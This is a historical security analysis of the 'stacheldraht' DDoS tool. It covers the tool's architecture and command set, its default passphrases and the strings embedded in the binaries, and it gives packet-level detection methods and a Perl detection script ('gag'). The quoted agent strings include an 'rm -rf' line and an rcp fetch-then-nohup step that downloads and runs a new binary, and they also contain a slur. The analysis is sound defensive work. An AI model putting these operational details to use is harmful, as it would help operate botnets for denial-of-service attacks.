COMMAND
The "stacheldraht" distributed denial of service attack tool
SYSTEMS AFFECTED
You?
PROBLEM
David Dittrich found following. The following is an analysis of
"stacheldraht", a distributed denial of service attack tool, based
on source code from the "Tribe Flood Network" distributed denial
of service attack tool. [Note that throughout this analysis,
actual nicks, site names, and IP addresses have been sanitized.]
Stacheldraht (German for "barbed wire") combines features of the
"trinoo" distributed denial of service tool, with those of the
original TFN, and adds encryption of communication between the
attacker and stacheldraht masters and automated update of
the agents. For more information on trinoo and TFN, see:
http://staff.washington.edu/dittrich/misc/trinoo.analysis
http://staff.washington.edu/dittrich/misc/tfn.analysis
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/dos3.html
In late June and early July of 1999, one or more groups were
installing and testing trinoo networks and waging medium to large
scale denial of service attacks employing networks of over 2000
compromised systems. These attacks involved, and were aimed at,
systems around the globe. In late August/early September of 1999,
focus began to shift from trinoo to TFN, presumed to be the
original code by Mixter. Then in late September/early October, a
program that looked a lot like the TFN agent, known as
"stacheldraht", began to show up on systems in Europe and the
United States. These attacks prompted CERT to release Incident
Note 99-04.
Like trinoo, stacheldraht is made up of master (handler) and
daemon, or "bcast" (agent) programs. The handler/agent
terminology was developed at the CERT Distributed System Intruder
Tools workshop held in November 1999, and will be used in this
analysis instead of the stacheldraht specific terms. It is
highly recommended that the CERT workshop report be read as well.
See:
http://www.cert.org/reports/dsit_workshop.pdf
There is some competition to stacheldraht in the form of Mixter's
new version of TFN -- Tribe Flood Network 2000, or TFN2K --
released on December 21, 1999. For more on TFN2K, See:
http://packetstorm.securify.com/distributed/
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html
Along with trinoo's handler/agent features, stacheldraht also
shares TFN's features of distributed network denial of service by
way of ICMP flood, SYN flood, UDP flood, and "Smurf" style
attacks. Unlike the original TFN and TFN2K, the analyzed
stacheldraht code does not contain the "on demand" root shell
bound to a TCP port (it may be based on earlier TFN code than was
made public by Mixter in mid-1999).
One of the weaknesses of TFN was that the attacker's connection
to the master(s) that control the network was in clear-text form,
and was subject to standard TCP attacks (session hijacking, RST
sniping, etc.) Stacheldraht deals with this by adding an
encrypting "telnet alike" (stacheldraht term) client.
Stacheldraht agents were originally found in binary form on a
number of Solaris 2.x systems, which were identified as having
been compromised by exploitation of buffer overrun bugs in the
RPC services "statd", "cmsd" and "ttdbserverd". They have been
witnessed "in the wild" as late as the writing of this analysis.
After publishing analyses of trinoo and Tribe Flood Network on
Bugtraq in December 1999, an incident investigator at another
institution provided stacheldraht source code that was obtained
from a file cache in a stolen account. This analysis was done
using this captured source code (labelled version 1.1, with
source file modification dates ranging from 8/15/1999 to
10/17/1999). The Makefiles contain rules for Linux and Solaris,
with the default being Linux (even though it appears that the
code does not work very reliably on Linux). For the purposes of
this analysis, all programs were compiled and run on Red Hat Linux
6.0 systems. As far as we are aware, the agent has been witnessed
"in the wild" only on Solaris 2.x systems.
One thing that may not have been clearly stated in the analyses
done on trinoo and Tribe Flood Network is that distributed denial
of service attacks are two phase attacks, with "victims" and
"attackers" that are defined depending on your point of view.
There is an initial mass-intrusion phase, in which automated tools
are used to remotely root compromise large numbers (i.e., in
the several hundred to several thousand ranges) and the
distributed denial of service agents are installed on these
compromised systems. These are primary victims (of system
compromise.) None of these distributed denial of service tools
have any features that facilitate compromising systems, and these
automated tools are held closely by those groups who wrote them.
The mass-instrusion phase is followed by the actual denial of
service attack phase, in which these compromised systems which
constitute the handlers and agents of the distributed attack
network are used to wage massive denial of service attacks
against one or more sites. These are secondary victims (of
denial of service). Remember that modification of the source code
can and would change any of the details of this analysis, such as
prompts, passwords, commands, TCP/UDP port numbers, or supported
attack methods, signatures, and features.
The network: client(s)-->handler(s)-->agent(s)-->victim(s)
==========================================================
The stacheldraht network is made up of one or more handler
programs ("mserv.c") and a large set of agents ("leaf/td.c").
The attacker uses an encrypting "telnet alike" program to connect
to and communicate with the handlers ("telnetc/client.c"). A
stacheldraht network would look like this:
+--------+ +--------+
| client | | client |
+--------+ +--------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+-----------+ +-----------+ +-----------+
| handler | | handler | | handler |
+-----------+ +-----------+ +-----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+-------+ +-------+ +-------+ +-------+ +-------+
| agent | | agent | | agent | | agent | | agent |
+-------+ +-------+ +-------+ +-------+ +-------+
The attacker(s) control one or more handlers using encrypting
clients. Each handler can control many agents. (There is an
internal limit in the "mserv.c" code to 1000 agents. It is not
know why 1000 was chosen, but the code does say that "1000
sockets are leet0.") The agents are all instructed to coordinate
a packet based attack against one or more victim systems by the
handler (referred to as an "mserver" or "master server" in the
code.)
Communication
=============
- Client to handler(s): 16660/tcp
- Handler to/from agent(s): 65000/tcp, ICMP ECHO_REPLY
Unlike trinoo, which uses UDP for communication between handlers
and agents, or the original Tribe Flood Network, which uses ICMP
for communication between the handler and agents, stacheldraht
uses TCP and ICMP. Remote control of a stacheldraht network is
accomplished using a simple client that uses symmetric key
encryption for communication between itself and the handler. The
client accepts a single argument, the address of the handler to
which it should connect. It then connects using a TCP port
(default 16660/tcp in the analyzed code). The attacker sees the
following (if the proper password is given):
# ./client 192.168.0.1
[*] stacheldraht [*]
(c) in 1999 by ...
trying to connect...
connection established.
--------------------------------------
enter the passphrase : sicken
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht
******************************
type .help if you are lame
stacheldraht(status: a!1 d!0)>
The prompt shows the number of agents that are believed to be
active ("a!") and dead ("d!") at the time. Using the command
".help" (let's assume, for the sake of argument, that we are
lame) shows the supported command set:
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
Commands
========
.distro user server
Instructs the agent to install and run a new copy of itself
using the Berkeley "rcp" command, on the system "server",
using the account "user" (e.g., "rcp user@server:linux.bin
ttymon")
.help
Prints a list of supported commands.
.killall
Kills all active agents.
.madd ip1[:ip2[:ipN]]
Add IP addresses to list of attack victims.
.mdie
Sends die request to all agents.
.mdos
Begins DoS attack.
.micmp ip1[:ip2[:ipN]]
Begin ICMP flood attack against specified hosts.
.mlist
List IP addresses of hosts being DoS attacked at the moment.
.mping
Pings all agents (bcasts) to see if they are alive.
.msadd
Adds a new master server (handler) to the list of available
servers.
.msort
Sort out dead/alive agents (bcasts). (Sends pings and shows
counts/percentage of dead/alive agents).
.mstop ip1[:ip2[:ipN]]
.mstop all
Stop attacking specific IP addresses, or all.
.msrem
Removes a master server (handler) from the list of available
servers.
.msyn ip1[:ip2[:ipN]]
Begin SYN flood attack against specified hosts.
.mtimer seconds
Set timer for attack duration. (No checks on this value.)
.mudp ip1[:ip2[:ipN]]
Begin UDP flood attack against specified hosts. (Trinoo DoS
emulation mode.)
.setisize
Sets size of ICMP packets for flooding. (max:1024,
default:1024).
.setusize
Sets size of UDP packets for flooding (max:1024,default:1024).
.showalive
Shows all "alive" agents (bcasts).
.showdead
Shows all "dead" agents (bcasts).
.sprange lowport-highport
Sets the range of ports for SYN flooding (defaults to
lowport:0, highport:140).
Password protection
===================
After connecting to the handler using the client program, the
attacker is prompted for a password. This password (default
"sicken" in the analyzed code) is a standard crypt() encrypted
password, which is then Blowfish encrypted using the passphrase
"authentication" before being sent over the network to the handler
(*all* communication between the agent and handler is Blowfish
encrypted with this passphrase.) Like TFN, C macros ("config.h")
define values used for expressing commands, replacement argument
vectors ("HIDEME" and "HIDEKIDS") to conceal program names, etc.:
#ifndef _CONFIG_H
/* user defined values for the teletubby flood network */
#define HIDEME "(kswapd)"
#define HIDEKIDS "httpd"
#define CHILDS 10
/* These are like passwords, you might want to change them */
#define ID_SHELL 1 /* to bind a rootshell */
#define ID_ADDR 699 /* ip add request for the flood server */
#define ID_SETPRANGE 2007 /* set port range for synflood */
#define ID_SETUSIZE 2006 /* set udp size */
#define ID_SETISIZE 2005 /* set icmp size */
#define ID_TIMESET 2004 /* set the flood time */
#define ID_DIEREQ 2003 /* shutdown request of the masterserver */
#define ID_DISTROIT 2002 /* distro request of the master server */
#define ID_REMMSERVER 2001 /* remove added masterserver */
#define ID_ADDMSERVER 2000 /* add new masterserver request */
#define SPOOF_REPLY 1000 /* spoof test reply of the master server
#define ID_TEST 668 /* test of the master server */
#define ID_ICMP 1055 /* to icmp flood */
#define ID_SENDUDP 2 /* to udp flood */
#define ID_SENDSYN 3 /* to syn flood */
#define ID_SYNPORT 4 /* to set port */
#define ID_STOPIT 5 /* to stop flooding */
#define ID_SWITCH 6 /* to switch spoofing mode */
#define ID_ACK 7 /* for replies to the client */
#define _CONFIG_H
#endif
As you can see, it is recommended that these be changed to prevent
someone stumbling across the agents from knowing what values are
used, thereby allowing them to execute agent commands.
Fingerprints
============
As with trinoo and Tribe Flood Network, the methods used to
install the handler/agent will be the same as installing any
program on a compromised Unix system, with all the standard
options for concealing the programs and files (e.g., use of
hidden directories, "root kits", kernel modules, etc.)
One feature of stacheldraht not shared by trinoo or TFN is the
ability to upgrade the agents on demand. This feature employs
the Berkeley "rcp" command (514/tcp), using a stolen account at
some site as a cache. On demand, all agents are instructed to
delete the current program image, go out and get a new copy
(either Linux- or Solaris-specific binary) from a site/account
using "rcp", start running this new image with "nohup", and then
exit. As for identifying the programs in the file system, there
are (provided they are not edited out) some discernible strings.
Strings embedded in the encrypting client ("client") include the
following:
. . .
connection closed.
usage: ./sclient <ip/host>
[*] stacheldraht [*]
(c) in 1999 by ...
trying to connect...
unable to resolv %s
unable to connect.
connection established.
--------------------------------------
enter the passphrase :
authentication
failed
authentication failed.
entering interactive session.
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
. . .
Strings embedded in the handler ("mserv") include the following:
. . .
%d.%d.%d.%d
jbQ4yQaKLbFZc
* mtimer reached *
.quit
exiting...
you need to stop the packet action first.
.help
.version
[*]stacheldraht[*] mserver version: 1.1
setusize
setisize
mdos
mping
mudp
micmp
msyn
mstop
mtimer
madd
mlist
msort
msadd
msrem
distro
sprange
killall
showdead
showalive
add some bcasts mofo.
killing all active childs...
usage: .sprange <lowport-highport>
example: .sprange 0-140
low port is : %i
high port is : %i
request was sent to the network.
usage: .setusize <udp packet size (<=1024)>
current udp packet size is %ibytes
udp packet size was set to %i bytes.
udp packet size is too large.
usage: .setisize <icmp packet size (<=1024)>
current icmp packet size is %ibytes
icmp packet size was set to %i bytes.
icmp packet size is too large.
sending mass die request...
finished.
.mudp
starting trinoo emulation...
removing useful commands.
- DONE -
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
usage: .distro <user> <server that runs rcp>
remember : the distro files need to be executable!
that means: chmod +x linux.bin , chmod +x sol.bin ;))
sending distro request to all bcasts....
user : %s
rcp server :
unable to resolve - %s
unable to send distro request.
request was sent, wait some minutes ;)
usage: .msrem <masterserver>
removing masterserver -
failed.
usage: .msadd <masterserver>
adding masterserver -
no packet action at the moment, sir.
the followings ip(s) are getting packeted...
--------------------------------------------
[*] stacheldraht [*] is packeting %d ips
[*] stacheldraht [*] is packeting 1 ip
.mstop all
deleting from packetlist...
%s - removed.
%s - skipped.
restarting packeting routines...
niggahbitch
usage: .madd <ip1:ip2:ip3:ip4>
adding to packetlist...
%s - added.
usage: .mtimer <seconds to packet>
packet timer was set to %d seconds
usage: .mstop <all> or <ip1:ip2:ip3:ip4:ip5 etc..>
packeting stopped.
usage: .msyn <ip1:ip2:ip3:ip4:ip5 etc..>
the net is already packeting.
mass syn flooding
%i floodrequests were sent to %i bcasts.
usage: .micmp <ip1:ip2:ip3:ip4:ip5 etc..>
mass icmp bombing
usage: .mudp <ip1:ip2:ip3:ip4:ip5 etc..>
mass udp bombing
tR1n00(status: a!%i d!%i)>
stacheldraht(status: a!%i d!%i)>
waiting for ping replies...
total bcasts : %d - 100%
alive bcasts : 0 - 0%
alive bcasts : %d - %d%
dead bcasts : %d - %d%
showing the alive bcasts...
---------------------------
alive bcasts: %i
showing the dead bcasts...
--------------------------
dead bcasts: %i
sorting out all the dead bcasts
-------------------------------
%d dead bcasts were sorted out.
bcasts
[*]-stacheldraht-[*] - forking in the background...
%i bcasts were successfully read in.
3.3.3.3
spoofworks
ficken
authentication
failed
******************************
welcome to stacheldraht
type .help if you are lame
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
[0;35mTribe Flood Network (c) 1999 by
[5mMixter
. . .
Strings embedded in the agent ("td") include the following:
. . .
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
ttymon
rm -rf %s
rcp %s@%s:linux.bin %s
nohup ./%s
1.1.1.1
127.0.0.1
lpsched
no masterserver config found.
using default ones.
available servers: %i - working servers : 0
[*] stacheldraht [*] installation failed.
found a working [*] stacheldraht [*] masterserver.
masterserver is gone, looking for a new one
sicken
in.telne
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
. . .
When each agent starts up, it attempts to read a master server
configuration file to learn which handler(s) may control it. This
file is a list of IP addresses, encrypted using Blowfish, with
a passphrase of "randomsucks". Failing to find a configuration
file, there are one or more default handler IP addresses compiled
into the program (shown above as "1.1.1.1" and "127.0.0.1" - these
will obviously be changed).
Once the agent has determined a list of potential handlers, it
then starts at the beginning of the list of handlers and sends an
ICMP ECHO_REPLY packet with an ID field containing the value 666
and data field containing the string "skillz". If the master
gets this packet, it sends back an ECHO_REPLY packet with an ID
field containing the value 667 and data field containing the
string "ficken". (It should be noted that there appears to be a
bug that makes the handler and agent send out some large, e.g.,
>1000 byte, packets. The handler and agent continue periodically
sending these 666|skillz / 667|ficken packets back and forth.
This would be one way of detecting agents/masters by passively
monitoring these ICMP packets.)
Seen with "sniffit" (modified per patches in the TFN analysis),
these packets look like this:
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 .
C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
. . . [60 lines of zeros deleted]
00 . 00 . 00 . 00 .
ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
45 E 00 . 04 . 14 . 04 . F8 . 00 . 00 . 40 @ 01 . E5 . 6A j C0 . A6 . 00 . 01 .
0A . 00 . 00 . 01 . 00 . 00 . CE . 21 ! 02 . 9B . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
66 f 69 i 63 c 6B k 65 e 6E n 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
. . . [60 lines of zeros deleted]
00 . 00 . 00 . 00 .
In addition to finding an active handler, the agent performs a
test to see if the network on which the agent is running allows
packets to exit with forged source addresses. It does this by
sending out an ICMP ECHO packet with a forged IP address of
"3.3.3.3", an ID of 666, and the IP address of the agent system
(obtained by getting the hostname, then resolving this to an IP
address) in the data field of the ICMP packet. (Note that it
also sets the Type of Service field to 7 on this particular
packet, while others have a ToS value of 0.)
If the master receives this packet, it replies to the IP address
embedded in the packet with an ECHO_REPLY packet containing an ID
of 1000 and the word "spoofworks" in the data field. If the
agent receives this packet, it sets a spoof_level of 0 (can spoof
all 32 bits of IP address). If it times out before receiving a
spoof reply packet, it sets a spoof_level of 3 (can only spoof
the final octet). These packets (as seen by tcpdump and tcpshow)
are shown here:
# tcpdump icmp
. . .
14:15:35.151061 3.3.3.3 > 192.168.0.1: icmp: echo request [tos 0x7]
14:15:35.177216 192.168.0.1 > 10.0.0.1: icmp: echo reply
. . .
# tcpdump -lenx icmp | tcpshow -cooked
. . .
-----------------------------------------------------------------
Packet 5
Timestamp: 14:08:04.171310
Source Ethernet Address: 00:10:1B:2B:3B:85
Destination Ethernet Address: 00:00:F0:00:69:78
Encapsulated Protocol: IP
IP Header
Version: 4
Header Length: 20 bytes
Service Type: 0x07
Datagram Length: 112 bytes
Identification: 0x021C
Flags: MF=off, DF=off
Fragment Offset: 0
TTL: 255
Encapsulated Protocol: ICMP
Header Checksum: 0x8408
Source IP Address: 3.3.3.3
Destination IP Address: 192.168.0.1
ICMP Header
Type: echo-request
Checksum: 0xF7FF
Id: 0x0000
Sequence: 0x0000
ICMP Data
....................10.0.0.1..................................................
<*** Rest of data missing from packet dump ***>
Packet 7
Timestamp: 14:08:04.197954
Source Ethernet Address: 00:00:C0:B6:84:E4
Destination Ethernet Address: 00:00:F0:00:69:78
Encapsulated Protocol: IP
IP Header
Version: 4
Header Length: 20 bytes
Service Type: 0x00
Datagram Length: 1044 bytes
Identification: 0x198F
Flags: MF=off, DF=off
Fragment Offset: 0
TTL: 64
Encapsulated Protocol: ICMP
Header Checksum: 0x3022
Source IP Address: 192.168.0.1
Destination IP Address: 10.0.0.1
ICMP Header
Type: echo-reply
Checksum: 0xD7DA
Id: 0x03E8
Sequence: 0x0000
ICMP Data
....................spoofworks......................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
............................................................................
....................................
<*** Rest of data missing from packet dump ***>
There is also a code in the agent to perform an ID test, sending
an ICMP_ECHOREPLY packet with an ID field value of 669, and the
string "sicken\n" in the data field. This code is triggered if
the agent is sent an ICMP_ECHOREPLY packet with an ID field
containing the value 668. The program "gag" (see below) will
allow you to probe for stacheldraht agents, which will show up
with "ngrep" like this:
Packet 1
Timestamp: 16:27:51.294727
Source Ethernet Address: 00:00:C0:B6:84:E4
Destination Ethernet Address: 00:00:F0:00:69:78
Encapsulated Protocol: IP
IP Header
Version: 4
Header Length: 20 bytes
Service Type: 0x10
Datagram Length: 40 bytes
Identification: 0x3558 (13656)
Flags: MF=off, DF=on
Fragment Offset: 0
TTL: 64
Encapsulated Protocol: ICMP
Header Checksum: 0xA644
Source IP Address: 10.0.0.2
Destination IP Address: 198.168.0.1
ICMP Header
Type: echo-reply
Checksum: 0xC61F
Id: 0x029C (668)
Sequence: 0x0000 (0)
ICMP Data
gesundheit!....
-----------------------------------------------------------------
Packet 2
Timestamp: 16:27:51.340321
Source Ethernet Address: 00:10:1B:2B:3B:85
Destination Ethernet Address: 00:00:F0:00:69:78
Encapsulated Protocol: IP
IP Header
Version: 4
Header Length: 20 bytes
Service Type: 0x00
Datagram Length: 1044 bytes
Identification: 0x1D13 (7443)
Flags: MF=off, DF=off
Fragment Offset: 0
TTL: 64
Encapsulated Protocol: ICMP
Header Checksum: 0xFAA7
Source IP Address: 192.168.0.1
Destination IP Address: 10.0.0.2
ICMP Header
Type: echo-reply
Checksum: 0xB71F
Id: 0x029D (669)
Sequence: 0x0000 (0)
ICMP Data
....................sicken
..................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
..........................................................................
...................................
<*** Rest of data missing from packet dump ***>
The script "gag" would be used like this. First, build a list of
all suspect systems (e.g., do an "nmap" OS detection scan and
find all Solaris and Linux systems on your network, or just scan
the entire network and find all active IP addresses). Start
"tcpdump" to capture all the potential replies for later use.
Then start "gag", passing it this list of IP addresses to check.
# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# ./gag -v iplist
sending packet [668/"gesundheit!"] to 192.168.0.1
sending packet [668/"gesundheit!"] to 192.168.0.30
sending packet [668/"gesundheit!"] to 192.168.1.2
sending packet [668/"gesundheit!"] to 192.168.1.5
sending packet [668/"gesundheit!"] to 192.168.2.10
sending packet [668/"gesundheit!"] to 192.168.3.6
. . .
To see the list of systems that returned ICMP ECHO_REPLY packets
with ID 669, do the following:
# tcpdump -r stach.dump
tcpdump: Filtering in user process
15:27:57.520094 192.168.0.1 > 10.0.0.1: icmp: echo reply (DF)
15:28:01.984660 192.168.2.10 > 10.0.0.1: icmp: echo reply (DF)
To actually see the packet contents to confirm "sicken\n" is
included, you can do the following:
# tcpshow < stach.dump | egrep "Source IP|sicken"
tcpdump: Filtering in user process
Source IP Address: 198.162.0.1
....................sicken
Source IP Address: 192.168.2.10
....................sicken
[There are more elegant ways of doing this, like writing a robust
and feature filled C program with libnet (see Appendix B of the
original document for reference), but there wasn't enough time
before Y2K eve to get elegant. What the heck. Dirty works fine.]
The strings "skillz", "spoofworks", "sicken", "niggahbitch", and
"ficken" -- all sent in ICMP data segments -- are not encrypted,
so are visible in the data portion of ICMP ECHO_REPLY packets.
The ID values 666, 667, 668, 669, and 1000 would also be
identifiable in the packet flow using the above methods. The
stacheldraht handler, which forks to handle commands and listen
for ICMP packets, is seen on the system with "lsof" like this:
# lsof -c mserv
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
mserv 1072 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1072 root rtd DIR 3,3 1024 2 /
mserv 1072 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1072 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1072 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1072 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1072 root 0u CHR 136,4 6 /dev/pts/4
mserv 1072 root 1u CHR 136,4 6 /dev/pts/4
mserv 1072 root 2u CHR 136,4 6 /dev/pts/4
mserv 1072 root 3u sock 0,0 2143 can't identify protocol
mserv 1073 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1073 root rtd DIR 3,3 1024 2 /
mserv 1073 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1073 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1073 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1073 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1073 root 0u CHR 136,4 6 /dev/pts/4
mserv 1073 root 1u CHR 136,4 6 /dev/pts/4
mserv 1073 root 2u CHR 136,4 6 /dev/pts/4
mserv 1073 root 3u inet 2144 TCP *:16660 (LISTEN)
mserv 1088 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1088 root rtd DIR 3,3 1024 2 /
mserv 1088 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1088 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1088 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1088 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1088 root 0u CHR 136,4 6 /dev/pts/4
mserv 1088 root 1u CHR 136,4 6 /dev/pts/4
mserv 1088 root 2u CHR 136,4 6 /dev/pts/4
mserv 1088 root 3r FIFO 0,0 2227 pipe
mserv 1088 root 5w FIFO 0,0 2227 pipe
mserv 1091 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1091 root rtd DIR 3,3 1024 2 /
mserv 1091 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1091 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1091 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1091 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1091 root 0u CHR 136,4 6 /dev/pts/4
mserv 1091 root 1u CHR 136,4 6 /dev/pts/4
mserv 1091 root 2u CHR 136,4 6 /dev/pts/4
mserv 1091 root 3r FIFO 0,0 2240 pipe
mserv 1091 root 4u inet 2215 TCP
192.168.0.1:16660->10.0.0.1:1029 (ESTABLISHED)
mserv 1091 root 5w FIFO 0,0 2240 pipe
The agent, which also forks when in use, looks like this:
# lsof -c ttymon
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ttymon 437 root cwd DIR 3,1 1024 37208 /usr/lib/libx/...
ttymon 437 root rtd DIR 3,1 1024 2 /
ttymon 437 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon
ttymon 437 root mem REG 3,1 243964 29140 /lib/libnss_files-2.1.1.so
ttymon 437 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ttymon 437 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ttymon 437 root 3u sock 0,0 779 can't identify protocol
ttymon 449 root cwd DIR 3,1 1024 37208 /usr/lib/libx/...
ttymon 449 root rtd DIR 3,1 1024 2 /
ttymon 449 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon
ttymon 449 root 0u inet 811 TCP *:32222 (LISTEN)
ttymon 449 root 3u sock 0,0 779 can't identify protocol
Weaknesses
==========
If the source has not been modified, you can identify stacheldraht
clients/handlers/agents by the embedded strings shown earlier.
The .distro command uses the Berkeley "rcp" command for obtaining
updated copies of the agent. Monitoring "rcp" connections
(514/tcp) from multiple systems on your network, in quick
succession, to a single IP address outside your network would be
a good trigger. (Note that the use of "rcp" in a this form
requires an anonymous trust relationship, usually in the form of
"+ +" in a user's ~/.rhosts file, which also will allow you to
immediately archive the contents of this account while contacting
the owners to preserve evidence.)
The IP spoof test uses a constant source address of "3.3.3.3".
Watch for this to show up in the source address of outgoing
unsolicited ICMP_ECHOREPLY packets. (If you do RFC 2267 style
egress filtering, you will have to watch for these packets from
somewhere inside your border routers, or on each subnet. Ethernet
switches will make this more difficult to do on local subnets, so
an intrusion detection system (IDS) just inside your borders would
be the best way to do this for your entire network.)
Since stacheldraht uses ICMP_ECHOREPLY packets for some of its
functioning, and those TCP connections that it uses employ
Blowfish encryption of the data stream, it will be difficult to
detect stacheldraht in action, and the ICMP_ECHOREPLY packets
will go right through most firewalls. Programs like "ngrep" do
not process ICMP packets, so you will not as easily (at this
point in time) be able to watch for strings in the data portion
of the ICMP packets (except using the patches to tcpshow from
Appendix C in original document and patches to sniffit provided
in the analysis of TFN). Stacheldraht does not authenticate the
source of ICMP packets, and also does not encrypt strings embedded
in ICMP packets. Note that the latest version of ngrep (1.35)
does in fact match ICMP, and has been out for some time now.
If the command values have not been changed from the default, as
few as just one packet would be necessary to flush out an agent.
Either:
a). send an ICMP_ECHOREPLY packet with an ID field value of 668
and watch for an ICMP_ECHOREPLY packet to come back with an
ID field value of 669 and the string "sicken\n" in the data
field, or
b). send an ICMP_ECHOREPLY packet with a source address of 3.3.3.3
(and ID value of 666 and data field with "skillz" if you want
to go all out) and watch for an ICMP_ECHOREPLY packet to come
back with an ID field value of 1000 and the string spoofworks
in the data field.
A Perl script using Net::RawIP named "gag" has been developed to
accomplish the former.
Perl script "gag" to detect stacheldraht agents
===============================================
#!/usr/bin/perl
#
# gag v. 1.0
# By Dave Dittrich <dittrich@cac.washington.edu>
#
# Send an ICMP_ECHOREPLY packet with ID of 668 to a stacheldraht
# agent, causing it to reply to the sending host with an
# ICMP_ECHOREPLY packet with an ID of 669 and the string "sicken\n"
# in the data field of the packet. Watch for this with tcpdump,
# sniffit, etc., e.g.:
#
# # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# # tcpshow < stach.dump
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./gag [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)
require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';
$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);
Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"gesundheit!\")\
\t-c val\t\tSend command value 'val' (default 668 - ID_TEST)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "gesundheit!";
$opt_c = ($opt_c) ? $opt_c : "668";
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
$s_host = ($opt_f) ? $opt_f : $hostname;
if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while (<I>) {
chop;
push(@list,$_);
}
close(I);
}
# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));
foreach $d_host (@list) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
icmp => {type => 0, id => $id, data => $opt_a}
});
print "sending packet [$opt_c/\"$opt_a\"] to $d_host\n" if $opt_v;
$a->send;
}
exit(0);
Latest version of this document can be found at:
http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
According to ISS in the newer version of the Stacheldraht program,
there are several new commands. The following is complete list of
commands in this new version:
.mtimer .mudp .micmp .msyn .mack .mnul
